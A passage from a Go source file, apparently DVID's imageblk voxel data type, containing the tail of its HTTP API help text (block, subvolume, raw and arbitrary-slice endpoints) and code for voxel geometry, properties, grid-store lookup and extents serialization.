(Service Unavailable) status code is returned.\n\nGET <api URL>/node/<UUID>/<data name>/specificblocks[?queryopts]\n\n Retrieves blocks corresponding to those specified in the query string. This interface\n is useful if the blocks retrieved are not consecutive or if the backend in non ordered.\n\n TODO: enable arbitrary compression to be specified\n\n Example: \n\n GET <api URL>/node/3f8c/grayscale/specificblocks?blocks=x1,y1,z2,x2,y2,z2,x3,y3,z3\n\t\n\tThis will fetch blocks at position (x1,y1,z1), (x2,y2,z2), and (x3,y3,z3).\n\tThe returned byte stream has a list of blocks with a leading block \n\tcoordinate (3 x int32) plus int32 giving the # of bytes in this block, and then the \n\tbytes for the value. If blocks are unset within the span, they will not appear in the stream,\n\tso the returned data will be equal to or less than spanX blocks worth of data. \n\n The returned data format has the following format where int32 is in little endian and the bytes of\n block data have been compressed in JPEG format.\n\n int32 Block 1 coordinate X (Note that this may not be starting block coordinate if it is unset.)\n int32 Block 1 coordinate Y\n int32 Block 1 coordinate Z\n int32 # bytes for first block (N1)\n byte0 Bytes of block data in jpeg-compressed format.\n byte1\n ...\n byteN1\n\n int32 Block 2 coordinate X\n int32 Block 2 coordinate Y\n int32 Block 2 coordinate Z\n int32 # bytes for second block (N2)\n byte0 Bytes of block data in jpeg-compressed format.\n byte1\n ...\n byteN2\n\n ...\n\n If no data is available for given block span, nothing is returned.\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n\n Query-string Options:\n\n compression Allows retrieval of block data in default storage or as \"uncompressed\".\n blocks\t x,y,z... block string\n prefetch\t (\"on\" or \"true\") Do not actually send data, non-blocking (default \"off\")\n\n\nGET <api URL>/node/<UUID>/<data name>/subvolblocks/<size>/<offset>[?queryopts]\n\n Retrieves blocks corresponding to the extents specified by the size and offset. The\n subvolume request must be block aligned. This is the most server-efficient way of\n retrieving imagelblk data, where data read from the underlying storage engine\n is written directly to the HTTP connection.\n\n Example: \n\n GET <api URL>/node/3f8c/segmentation/subvolblocks/64_64_64/0_0_0\n\n\tIf block size is 32x32x32, this call retrieves up to 8 blocks where the first potential\n\tblock is at 0, 0, 0. The returned byte stream has a list of blocks with a leading block \n\tcoordinate (3 x int32) plus int32 giving the # of bytes in this block, and then the \n\tbytes for the value. If blocks are unset within the span, they will not appear in the stream,\n\tso the returned data will be equal to or less than spanX blocks worth of data. \n\n The returned data format has the following format where int32 is in little endian and the bytes of\n block data have been compressed in JPEG format.\n\n int32 Block 1 coordinate X (Note that this may not be starting block coordinate if it is unset.)\n int32 Block 1 coordinate Y\n int32 Block 1 coordinate Z\n int32 # bytes for first block (N1)\n byte0 Bytes of block data in jpeg-compressed format.\n byte1\n ...\n byteN1\n\n int32 Block 2 coordinate X\n int32 Block 2 coordinate Y\n int32 Block 2 coordinate Z\n int32 # bytes for second block (N2)\n byte0 Bytes of block data in jpeg-compressed format.\n byte1\n ...\n byteN2\n\n ...\n\n If no data is available for given block span, nothing is returned.\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n size Size in voxels along each dimension specified in <dims>.\n offset Gives coordinate of first voxel using dimensionality of data.\n\n Query-string Options:\n\n\tcompression Allows retrieval of block data in \"jpeg\" (default) or \"uncompressed\". \n\t\t\t\t\tNote that if the data isn't stored as JPEG, it cannot be requested. \n throttle If \"true\", makes sure only N compute-intense operation (all API calls that can be throttled) \n are handled. If the server can't initiate the API call right away, a 503 (Service Unavailable) \n status code is returned.\n\n\n\n\n\nGET <api URL>/node/<UUID>/<data name>/raw/<dims>/<size>/<offset>[/<format>][?queryopts]\n\n Retrieves either 2d images (PNG by default) or 3d binary data, depending on the dims parameter.\n\tIf the underlying data is float32, then the little-endian four byte format is written as RGBA.\n The 3d binary data response has \"Content-type\" set to \"application/octet-stream\" and is an array of \n voxel values in ZYX order (X iterates most rapidly).\n\n Example: \n\n GET <api URL>/node/3f8c/grayscale/raw/0_1/512_256/0_0_100/jpg:80\n\n Returns a raw XY slice (0th and 1st dimensions) with width (x) of 512 voxels and\n height (y) of 256 voxels with offset (0,0,100) in JPG format with quality 80.\n By \"raw\", we mean that no additional processing is applied based on voxel\n resolutions to make sure the retrieved image has isotropic pixels.\n The example offset assumes the \"grayscale\" data in version node \"3f8c\" is 3d.\n The \"Content-type\" of the HTTP response should agree with the requested format.\n For example, returned PNGs will have \"Content-type\" of \"image/png\", and returned\n nD data will be \"application/octet-stream\". \n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n dims The axes of data extraction in form \"i_j_k,...\" \n Slice strings (\"xy\", \"xz\", or \"yz\") are also accepted.\n Example: \"0_2\" is XZ, and \"0_1_2\" is a 3d subvolume.\n size Size in voxels along each dimension specified in <dims>.\n offset Gives coordinate of first voxel using dimensionality of data.\n format Valid formats depend on the dimensionality of the request and formats\n available in server implementation.\n 2D: \"png\", \"jpg\" (default: \"png\")\n jpg allows lossy quality setting, e.g., \"jpg:80\"\n 3D: uses default \"octet-stream\".\n\n Query-string Options:\n\n roi Name of roi data instance used to mask the requested data.\n attenuation For attenuation n, this reduces the intensity of voxels outside ROI by 2^n.\n Valid range is n = 1 to n = 7. Currently only implemented for 8-bit voxels.\n Default is to zero out voxels outside ROI.\n throttle Only works for 3d data requests. If \"true\", makes sure only N compute-intense operation \n (all API calls that can be throttled) are handled. If the server can't initiate the API \n call right away, a 503 (Service Unavailable) status code is returned.\n\nPOST <api URL>/node/<UUID>/<data name>/raw/0_1_2/<size>/<offset>[?queryopts]\n\n Puts block-aligned voxel data using the block sizes defined for this data instance. \n For example, if the BlockSize = 32, offset and size must be multiples of 32.\n\n Example: \n\n POST <api URL>/node/3f8c/grayscale/raw/0_1_2/512_256_128/0_0_32\n\n Throttling can be enabled by passing a \"throttle=true\" query string. Throttling makes sure\n only one compute-intense operation (all API calls that can be throttled) is handled.\n If the server can't initiate the API call right away, a 503 (Service Unavailable) status\n code is returned.\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n size Size in voxels along each dimension specified in <dims>.\n offset Gives coordinate of first voxel using dimensionality of data.\n\n Query-string Options:\n\n roi Name of roi data instance used to mask the requested data.\n mutate Default \"false\" corresponds to ingestion, i.e., the first write of the given block.\n Use \"true\" to indicate the POST is a mutation of prior data, which allows any\n synced data instance to cleanup prior denormalizations. If \"mutate=true\", the\n POST operations will be slower due to a required GET to retrieve past data.\n throttle If \"true\", makes sure only N compute-intense operation \n (all API calls that can be throttled) are handled. If the server can't initiate the API \n call right away, a 503 (Service Unavailable) status code is returned.\n\nGET <api URL>/node/<UUID>/<data name>/arb/<top left>/<top right>/<bottom left>/<res>[/<format>][?queryopts]\n\n Retrieves non-orthogonal (arbitrarily oriented planar) image data of named 3d data \n within a version node. Returns an image where the top left pixel corresponds to the\n real world coordinate (not in voxel space but in space defined by resolution, e.g.,\n nanometer space). The real world coordinates are specified in \"x_y_z\" format, e.g., \"20.3_11.8_109.4\".\n The resolution is used to determine the # pixels in the returned image.\n\n Example: \n\n GET <api URL>/node/3f8c/grayscale/arb/100.2_90_80.7/200.2_90_80.7/100.2_190.0_80.7/10.0/jpg:80\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n top left Real world coordinate (in nanometers) of top left pixel in returned image.\n top right Real world coordinate of top right pixel.\n bottom left Real world coordinate of bottom left pixel.\n res The resolution/pixel that is used to calculate the returned image size in pixels.\n format \"png\", \"jpg\" (default: \"png\") \n jpg allows lossy quality setting, e.g., \"jpg:80\"\n\n Query-string Options:\n\n throttle If \"true\", makes sure only N compute-intense operation \n (all API calls that can be throttled) are handled. If the server can't initiate the API \n call right away, a 503 (Service Unavailable) status code is returned.\n\n GET <api URL>/node/<UUID>/<data name>/blocks/<block coord>/<spanX>\nPOST <api URL>/node/<UUID>/<data name>/blocks/<block coord>/<spanX>\n\n Retrieves or puts \"spanX\" blocks of uncompressed voxel data along X starting from given block coordinate.\n\n Example: \n\n GET <api URL>/node/3f8c/grayscale/blocks/10_20_30/8\n\n Returns blocks where first block has given block coordinate and number\n of blocks returned along x axis is \"spanX\". The data is sent in the following format:\n\n <block 0 byte array>\n <block 1 byte array>\n ... \n <block N byte array>\n\n Each byte array iterates in X, then Y, then Z for that block.\n\n Arguments:\n\n UUID Hexadecimal string with enough characters to uniquely identify a version node.\n data name Name of data to add.\n block coord The block coordinate of the first block in X_Y_Z format. Block coordinates\n can be derived from voxel coordinates by dividing voxel coordinates by\n the block size for a data type.\n`\n\nvar (\n\t// DefaultBlockSize specifies the default size for each block of this data type.\n\tDefaultBlockSize int32 = 32\n\n\tDefaultRes float32 = 8\n\n\tDefaultUnits = \"nanometers\"\n)\n\nfunc init() {\n\t// Need to register types that will be used to fulfill interfaces.\n\tgob.Register(&Type{})\n\tgob.Register(&Data{})\n\tgob.Register(binary.LittleEndian)\n\tgob.Register(binary.BigEndian)\n}\n\n// Type embeds the datastore's Type to create a unique type with voxel functions.\n// Refinements of general voxel types can be implemented by embedding this type,\n// choosing appropriate # of values and bytes/value, overriding functions as needed,\n// and calling datastore.Register().\n// Note that these fields are invariant for all instances of this type. Fields\n// that can change depending on the type of data (e.g., resolution) should be\n// in the Data type.\ntype Type struct {\n\tdatastore.Type\n\n\t// values describes the data type/label for each value within a voxel.\n\tvalues dvid.DataValues\n\n\t// can these values be interpolated?\n\tinterpolable bool\n}\n\n// NewType returns a pointer to a new imageblk Type with default values set.\nfunc NewType(values dvid.DataValues, interpolable bool) Type {\n\tdtype := Type{\n\t\tType: datastore.Type{\n\t\t\tRequirements: &storage.Requirements{Batcher: true},\n\t\t},\n\t\tvalues: values,\n\t\tinterpolable: interpolable,\n\t}\n\treturn dtype\n}\n\n// NewData returns a pointer to a new Voxels with default values.\nfunc (dtype *Type) NewData(uuid dvid.UUID, id dvid.InstanceID, name dvid.InstanceName, c dvid.Config) (*Data, error) {\n\tdvid.Infof(\"NewData on name %q\\n\", name)\n\tbasedata, err := datastore.NewDataService(dtype, uuid, id, name, c)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar p Properties\n\tp.setDefault(dtype.values, dtype.interpolable)\n\tif err := p.setByConfig(c); err != nil {\n\t\treturn nil, err\n\t}\n\tif p.GridStore != \"\" {\n\t\tgridProps, err := getGridProperties(p.GridStore, p.ScaleLevel)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdvid.Infof(\"Got properties for scale %d of GridStore %q: %v\\n\", p.ScaleLevel, p.GridStore, gridProps)\n\t\tp.MinPoint = dvid.Point3d{0, 0, 0}\n\t\tp.MaxPoint = gridProps.VolumeSize\n\t\tp.Resolution.Set3dNanometers(gridProps.Resolution)\n\t\tp.BlockSize = gridProps.ChunkSize\n\t}\n\tdata := &Data{\n\t\tData: basedata,\n\t\tProperties: p,\n\t}\n\tdvid.Infof(\"Data props: %v\\n\", p)\n\n\treturn data, nil\n}\n\n// --- TypeService interface ---\n\n// NewDataService returns a pointer to a new Voxels with default values.\nfunc (dtype *Type) NewDataService(uuid dvid.UUID, id dvid.InstanceID, name dvid.InstanceName, c dvid.Config) (datastore.DataService, error) {\n\treturn dtype.NewData(uuid, id, name, c)\n}\n\nfunc (dtype *Type) Help() string {\n\treturn fmt.Sprintf(helpMessage, DefaultBlockSize, DefaultRes)\n}\n\ntype bulkLoadInfo struct {\n\tfilenames []string\n\tversionID dvid.VersionID\n\toffset dvid.Point\n\textentChanged dvid.Bool\n}\n\n// Voxels represents subvolumes or slices and implements the ExtData interface.\ntype Voxels struct {\n\tdvid.Geometry\n\n\tvalues dvid.DataValues\n\n\t// The data itself\n\tdata []byte\n\n\t// The stride for 2d iteration in bytes between vertically adjacent pixels.\n\t// For 3d subvolumes, we don't reuse standard Go images but maintain fully\n\t// packed data slices, so stride isn't necessary.\n\tstride int32\n}\n\nfunc NewVoxels(geom dvid.Geometry, values dvid.DataValues, data []byte, stride int32) *Voxels {\n\treturn &Voxels{geom, values, data, stride}\n}\n\nfunc (v *Voxels) String() string {\n\tsize := v.Size()\n\treturn fmt.Sprintf(\"%s of size %s @ %s\", v.DataShape(), size, v.StartPoint())\n}\n\nfunc (v *Voxels) Values() dvid.DataValues {\n\treturn v.values\n}\n\nfunc (v *Voxels) Data() []byte {\n\treturn v.data\n}\n\nfunc (v *Voxels) Stride() int32 {\n\treturn v.stride\n}\n\nfunc (v *Voxels) BytesPerVoxel() int32 {\n\treturn v.values.BytesPerElement()\n}\n\nfunc (v *Voxels) SetGeometry(geom dvid.Geometry) {\n\tv.Geometry = geom\n}\n\nfunc (v *Voxels) SetValues(values dvid.DataValues) {\n\tv.values = values\n}\n\nfunc (v *Voxels) SetStride(stride int32) {\n\tv.stride = stride\n}\n\nfunc (v *Voxels) SetData(data []byte) {\n\tv.data = data\n}\n\n// ------- ExtData interface implementation -------------\n\nfunc (v *Voxels) NewChunkIndex() dvid.ChunkIndexer {\n\treturn &dvid.IndexZYX{}\n}\n\nfunc (v *Voxels) Interpolable() bool {\n\treturn true\n}\n\n// DownRes downsamples 2d Voxels data by averaging where the down-magnification are\n// integers. If the source image size in Voxels is not an integral multiple of the\n// reduction factor, the edge voxels on the right and bottom side are truncated.\n// This function modifies the Voxels data. An error is returned if a non-2d Voxels\n// receiver is used.\nfunc (v *Voxels) DownRes(magnification dvid.Point) error {\n\tif v.DataShape().ShapeDimensions() != 2 {\n\t\treturn fmt.Errorf(\"ImageDownres() only supports 2d images at this time.\")\n\t}\n\t// Calculate new dimensions and allocate.\n\tsrcW := v.Size().Value(0)\n\tsrcH := v.Size().Value(1)\n\treduceW, reduceH, err := v.DataShape().GetSize2D(magnification)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdstW := srcW / reduceW\n\tdstH := srcH / reduceH\n\n\t// Reduce the image.\n\timg, err := v.GetImage2d()\n\tif err != nil {\n\t\treturn err\n\t}\n\timg, err = img.ScaleImage(int(dstW), int(dstH))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set data and dimensions to downres data.\n\tv.data = []byte(img.Data())\n\tgeom, err := dvid.NewOrthogSlice(v.DataShape(), v.StartPoint(), dvid.Point2d{dstW, dstH})\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.Geometry = geom\n\tv.stride = dstW * v.values.BytesPerElement()\n\treturn nil\n}\n\n// NewIndexIterator returns an iterator that can move across the voxel geometry,\n// generating indices or index spans.\nfunc (v *Voxels) NewIndexIterator(chunkSize dvid.Point) (dvid.IndexIterator, error) {\n\t// Setup traversal\n\tbegVoxel, ok := v.StartPoint().(dvid.Chunkable)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"ExtData StartPoint() cannot handle Chunkable points.\")\n\t}\n\tendVoxel, ok := v.EndPoint().(dvid.Chunkable)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"ExtData EndPoint() cannot handle Chunkable points.\")\n\t}\n\tbegBlock := begVoxel.Chunk(chunkSize).(dvid.ChunkPoint3d)\n\tendBlock := endVoxel.Chunk(chunkSize).(dvid.ChunkPoint3d)\n\n\treturn dvid.NewIndexZYXIterator(begBlock, endBlock), nil\n}\n\n// GetImage2d returns a 2d image suitable for use external to DVID.\n// TODO -- Create more comprehensive handling of endianness and encoding of\n// multibytes/voxel data into appropriate images.\nfunc (v *Voxels) GetImage2d() (*dvid.Image, error) {\n\t// Make sure each value has same # of bytes or else we can't generate a go image.\n\t// If so, we need to make another ExtData that knows how to convert the varying\n\t// values into an appropriate go image.\n\tvaluesPerVoxel := int32(len(v.values))\n\tif valuesPerVoxel < 1 || valuesPerVoxel > 4 {\n\t\treturn nil, fmt.Errorf(\"Standard voxels type can't convert %d values/voxel into image.\",\n\t\t\tvaluesPerVoxel)\n\t}\n\tbytesPerValue := v.values.ValueBytes(0)\n\tfor _, dataValue := range v.values {\n\t\tif dvid.DataTypeBytes(dataValue.T) != bytesPerValue {\n\t\t\treturn nil, fmt.Errorf(\"Standard voxels type can't handle varying sized values per voxel.\")\n\t\t}\n\t}\n\n\tunsupported := func() error {\n\t\treturn fmt.Errorf(\"DVID doesn't support images for %d channels and %d bytes/channel\",\n\t\t\tvaluesPerVoxel, bytesPerValue)\n\t}\n\n\tvar img image.Image\n\twidth := v.Size().Value(0)\n\theight := v.Size().Value(1)\n\tsliceBytes := width * height * valuesPerVoxel * bytesPerValue\n\tbeg := int32(0)\n\tend := beg + sliceBytes\n\tdata := v.Data()\n\tif int(end) > len(data) {\n\t\treturn nil, fmt.Errorf(\"Voxels %s has insufficient amount of data to return an image.\", v)\n\t}\n\tr := image.Rect(0, 0, int(width), int(height))\n\tswitch valuesPerVoxel {\n\tcase 1:\n\t\tswitch bytesPerValue {\n\t\tcase 1:\n\t\t\timg = &image.Gray{data[beg:end], 1 * r.Dx(), r}\n\t\tcase 2:\n\t\t\tbigendian, err := v.littleToBigEndian(data[beg:end])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\timg = &image.Gray16{bigendian, 2 * r.Dx(), r}\n\t\tcase 4:\n\t\t\timg = &image.NRGBA{data[beg:end], 4 * r.Dx(), r}\n\t\tcase 8:\n\t\t\timg = &image.NRGBA64{data[beg:end], 8 * r.Dx(), r}\n\t\tdefault:\n\t\t\treturn nil, unsupported()\n\t\t}\n\tcase 4:\n\t\tswitch bytesPerValue {\n\t\tcase 1:\n\t\t\timg = &image.NRGBA{data[beg:end], 4 * r.Dx(), r}\n\t\tcase 2:\n\t\t\timg = &image.NRGBA64{data[beg:end], 8 * r.Dx(), r}\n\t\tdefault:\n\t\t\treturn nil, unsupported()\n\t\t}\n\tdefault:\n\t\treturn nil, unsupported()\n\t}\n\n\treturn dvid.ImageFromGoImage(img, v.Values(), v.Interpolable())\n}\n\n// Properties are additional properties for image block data instances beyond those\n// in standard datastore.Data. These will be persisted to metadata storage.\ntype Properties struct {\n\t// Values describes the data type/label for each value within a voxel.\n\tValues dvid.DataValues\n\n\t// Interpolable is true if voxels can be interpolated when resizing.\n\tInterpolable bool\n\n\t// Block size for this repo\n\tBlockSize dvid.Point\n\n\tdvid.Resolution\n\n\t// leave field in metadata but no longer updated!!\n\tdvid.Extents\n\n\t// Background value for data\n\tBackground uint8\n\n\t// GridStore designates store to be used for immutable data access\n\tGridStore storage.Alias\n\n\t// ScaleLevel designates resolution from 0 (high-res) to an int N with 2^N down-res\n\tScaleLevel int\n}\n\n// getGridProperties returns the properties of a GridStore\nfunc getGridProperties(storeName storage.Alias, scale int) (props storage.GridProps, err error) {\n\tif storeName == \"\" {\n\t\terr = fmt.Errorf(\"cannot get GridStore properties for a blank name\")\n\t\treturn\n\t}\n\tvar store dvid.Store\n\tstore, err = storage.GetStoreByAlias(storeName)\n\tif err != nil {\n\t\treturn\n\t}\n\tgridStore, ok := store.(storage.GridStoreGetter)\n\tif !ok {\n\t\terr = fmt.Errorf(\"GridStore %q is not valid\", storeName)\n\t\treturn\n\t}\n\treturn gridStore.GridProperties(scale)\n}\n\n// gridStoreGetter either returns a gridStore or (okvDB, kvDB) as fallback, not both.\nfunc (d *Data) gridStoreGetter() (gridStore storage.GridStoreGetter, okvDB storage.OrderedKeyValueDB, kvDB storage.KeyValueDB, err error) {\n\tif d.GridStore != \"\" {\n\t\tvar store dvid.Store\n\t\tstore, err = storage.GetStoreByAlias(d.GridStore)\n\t\tif err == nil {\n\t\t\tvar ok bool\n\t\t\tgridStore, ok = store.(storage.GridStoreGetter)\n\t\t\tif ok {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tgridStore = nil\n\t\t\tdvid.Infof(\"Found gridstore %q but was not a GridStoreGetter, defaulting...\\n\", d.GridStore)\n\t\t}\n\t}\n\tokvDB, err = datastore.GetOrderedKeyValueDB(d)\n\tif err != nil {\n\t\treturn\n\t}\n\tkvDB, err = datastore.GetKeyValueDB(d)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn\n}\n\nfunc (d *Data) PropertiesWithExtents(ctx *datastore.VersionedCtx) (props Properties, err error) {\n\tvar verExtents dvid.Extents\n\tverExtents, err = d.GetExtents(ctx)\n\tif err != nil {\n\t\treturn\n\t}\n\tprops.Values = d.Properties.Values\n\tprops.Interpolable = d.Properties.Interpolable\n\tprops.BlockSize = d.Properties.BlockSize\n\tprops.Resolution = d.Properties.Resolution\n\n\tprops.Extents.MinPoint = verExtents.MinPoint\n\tprops.Extents.MaxPoint = verExtents.MaxPoint\n\tprops.Extents.MinIndex = verExtents.MinIndex\n\tprops.Extents.MaxIndex = verExtents.MaxIndex\n\tprops.Background = d.Properties.Background\n\tprops.GridStore = d.Properties.GridStore\n\tprops.ScaleLevel = d.Properties.ScaleLevel\n\treturn\n}\n\n// CopyPropertiesFrom copies the data instance-specific properties from a given\n// data instance into the receiver's properties. Fulfills the datastore.PropertyCopier interface.\nfunc (d *Data) CopyPropertiesFrom(src datastore.DataService, fs storage.FilterSpec) error {\n\td2, ok := src.(*Data)\n\tif !ok {\n\t\treturn fmt.Errorf(\"unable to copy properties from non-imageblk data %q\", src.DataName())\n\t}\n\td.Properties.copyImmutable(&(d2.Properties))\n\n\t// TODO -- Extents are no longer used so this should be refactored\n\td.Properties.Extents = d2.Properties.Extents.Duplicate()\n\treturn nil\n}\n\nfunc (p *Properties) copyImmutable(p2 *Properties) {\n\tp.Values = make([]dvid.DataValue, len(p2.Values))\n\tcopy(p.Values, p2.Values)\n\tp.Interpolable = p2.Interpolable\n\n\tp.BlockSize = p2.BlockSize.Duplicate()\n\n\tp.Resolution.VoxelSize = make(dvid.NdFloat32, 3)\n\tcopy(p.Resolution.VoxelSize, p2.Resolution.VoxelSize)\n\tp.Resolution.VoxelUnits = make(dvid.NdString, 3)\n\tcopy(p.Resolution.VoxelUnits, p2.Resolution.VoxelUnits)\n\n\tp.Background = p2.Background\n\tp.GridStore = p2.GridStore\n\tp.ScaleLevel = p2.ScaleLevel\n}\n\n// setDefault sets Voxels properties to default values.\nfunc (p *Properties) setDefault(values dvid.DataValues, interpolable bool) error {\n\tp.Values = make([]dvid.DataValue, len(values))\n\tcopy(p.Values, values)\n\tp.Interpolable = interpolable\n\n\tdimensions := 3\n\tsize := make([]int32, dimensions)\n\tfor d := 0; d < dimensions; d++ {\n\t\tsize[d] = DefaultBlockSize\n\t}\n\tvar err error\n\tp.BlockSize, err = dvid.NewPoint(size)\n\tif err != nil {\n\t\treturn err\n\t}\n\tp.Resolution.VoxelSize = make(dvid.NdFloat32, dimensions)\n\tfor d := 0; d < dimensions; d++ {\n\t\tp.Resolution.VoxelSize[d] = DefaultRes\n\t}\n\tp.Resolution.VoxelUnits = make(dvid.NdString, dimensions)\n\tfor d := 0; d < dimensions; d++ {\n\t\tp.Resolution.VoxelUnits[d] = DefaultUnits\n\t}\n\treturn nil\n}\n\n// setByConfig sets Voxels properties based on type-specific keywords in the configuration.\n// Any property not described in the config is left as is. See the Voxels help for listing\n// of configurations.\nfunc (p *Properties) setByConfig(config dvid.Config) error {\n\ts, found, err := config.GetString(\"BlockSize\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tp.BlockSize, err = dvid.StringToPoint(s, \",\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ts, found, err = config.GetString(\"VoxelSize\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tdvid.Infof(\"Changing resolution of voxels to %s\\n\", s)\n\t\tp.Resolution.VoxelSize, err = dvid.StringToNdFloat32(s, \",\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ts, found, err = config.GetString(\"VoxelUnits\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tp.Resolution.VoxelUnits, err = dvid.StringToNdString(s, \",\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ts, found, err = config.GetString(\"MinPoint\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tp.MinPoint, err = dvid.StringToPoint(s, \",\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ts, found, err = config.GetString(\"MaxPoint\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tp.MaxPoint, err = dvid.StringToPoint(s, \",\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\ts, found, err = config.GetString(\"Background\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tbackground, err := strconv.ParseUint(s, 10, 8)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tp.Background = uint8(background)\n\t}\n\ts, found, err = config.GetString(\"GridStore\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tgridStore := storage.Alias(s)\n\t\tif _, err := storage.GetStoreByAlias(gridStore); err != nil {\n\t\t\treturn fmt.Errorf(\"bad store (%s) designated for GridStore: %v\", s, err)\n\t\t}\n\t\tp.GridStore = gridStore\n\t}\n\ts, found, err = config.GetString(\"ScaleLevel\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tif found {\n\t\tscale, err := strconv.Atoi(s)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tp.ScaleLevel = scale\n\t}\n\treturn nil\n}\n\ntype metadataT struct {\n\tAxes []axisT\n\tProperties Properties\n}\n\ntype axisT struct {\n\tLabel string\n\tResolution float32\n\tUnits string\n\tSize int32\n\tOffset int32\n}\n\n// NdDataSchema returns the metadata in JSON for this Data\nfunc (d *Data) NdDataMetadata(ctx *datastore.VersionedCtx) (string, error) {\n\tvar err error\n\tvar size, offset dvid.Point\n\n\tdims := int(d.BlockSize().NumDims())\n\textents, err := d.GetExtents(ctx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif extents.MinPoint == nil || extents.MaxPoint == nil {\n\t\tzeroPt := make([]int32, dims)\n\t\tsize, err = dvid.NewPoint(zeroPt)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\toffset = size\n\t} else {\n\t\tsize = extents.MaxPoint.Sub(extents.MinPoint).AddScalar(1)\n\t\toffset = extents.MinPoint\n\t}\n\n\tvar axesName = []string{\"X\", \"Y\", \"Z\", \"t\", \"c\"}\n\tvar metadata metadataT\n\tmetadata.Axes = []axisT{}\n\tfor dim := 0; dim < dims; dim++ {\n\t\tmetadata.Axes = append(metadata.Axes, axisT{\n\t\t\tLabel: axesName[dim],\n\t\t\tResolution: d.Properties.Resolution.VoxelSize[dim],\n\t\t\tUnits: d.Properties.Resolution.VoxelUnits[dim],\n\t\t\tSize: size.Value(uint8(dim)),\n\t\t\tOffset: offset.Value(uint8(dim)),\n\t\t})\n\t}\n\tmetadata.Properties, err = d.PropertiesWithExtents(ctx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tm, err := json.Marshal(metadata)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(m), nil\n}\n\n// serializeExtents takes extents structure and serializes and compresses it\nfunc (d *Data) serializeExtents(extents ExtentsJSON) ([]byte, error) {\n\n\tjsonbytes, err := json.Marshal(extents)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcompression, _ := dvid.NewCompression(dvid.Uncompressed, dvid.DefaultCompression)\n\treturn dvid.SerializeData(jsonbytes, compression, dvid.NoChecksum)\n\n}\n\n// serializeExtents takes extents structure and serializes and compresses it\nfunc (d *Data) deserializeExtents(serdata []byte) (ExtentsJSON, error) {\n\n\t// return blank extents if nothing set\n\tvar extents ExtentsJSON\n\tif serdata == nil || len(serdata) == 0 {\n\t\treturn extents, nil\n\t}\n\n\t// deserialize\n\tdata, _, err := dvid.DeserializeData(serdata, true)\n\tif err != nil {\n\t\treturn extents, err\n\t}\n\n\t// unmarshal (hardcode to 3D for now!)\n\tvar extentstemp extents3D\n\tif err = json.Unmarshal(data, &extentstemp); err != nil {\n\t\treturn extents, err\n\t}\n\textents.MinPoint = extentstemp.MinPoint\n\textents.MaxPoint = extentstemp.MaxPoint\n\n\treturn extents, nil\n}\n\n// SetExtents saves JSON data giving MinPoint and MaxPoint (put operation)\nfunc (d *Data) SetExtents(ctx *datastore.VersionedCtx, uuid dvid.UUID, jsonBytes []byte) error {\n\t// unmarshal (hardcode to 3D for now!)\n\tvar config extents3D\n\tvar config2 ExtentsJSON\n\n\tif err := json.Unmarshal(jsonBytes, &config); err != nil {\n\t\treturn err\n\t}\n\n\t// call serialize\n\tconfig2.MinPoint = config.MinPoint\n\tconfig2.MaxPoint = config.MaxPoint\n\tdata, err := d.serializeExtents(config2)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// put (last one wins)\n\tstore, err := datastore.GetKeyValueDB(d)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn store.Put(ctx, MetaTKey(), data)\n}\n\n// SetResolution loads JSON data giving Resolution.\nfunc (d *Data) SetResolution(uuid dvid.UUID, jsonBytes []byte) error {\n\tconfig := make(dvid.NdFloat32, 3)\n\tif err := json.Unmarshal(jsonBytes, &config); err != nil {\n\t\treturn err\n\t}\n\td.Properties.VoxelSize = config\n\tif err := datastore.SaveDataByUUID(uuid, d); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\n// ExtentsJSON is extents encoding for imageblk\ntype ExtentsJSON struct {\n\tMinPoint dvid.Point\n\tMaxPoint dvid.Point\n}\n\ntype extents3D struct {\n\tMinPoint dvid.Point3d\n\tMaxPoint dvid.Point3d\n}\n\n// Data embeds the datastore's Data and extends it with voxel-specific properties.\ntype Data struct {\n\t*datastore.Data\n\tProperties\n\tsync.Mutex // to protect extent updates\n}\n\nfunc (d *Data) Equals(d2 *Data) bool {\n\tif !d.Data.Equals(d2.Data) {\n\t\treturn 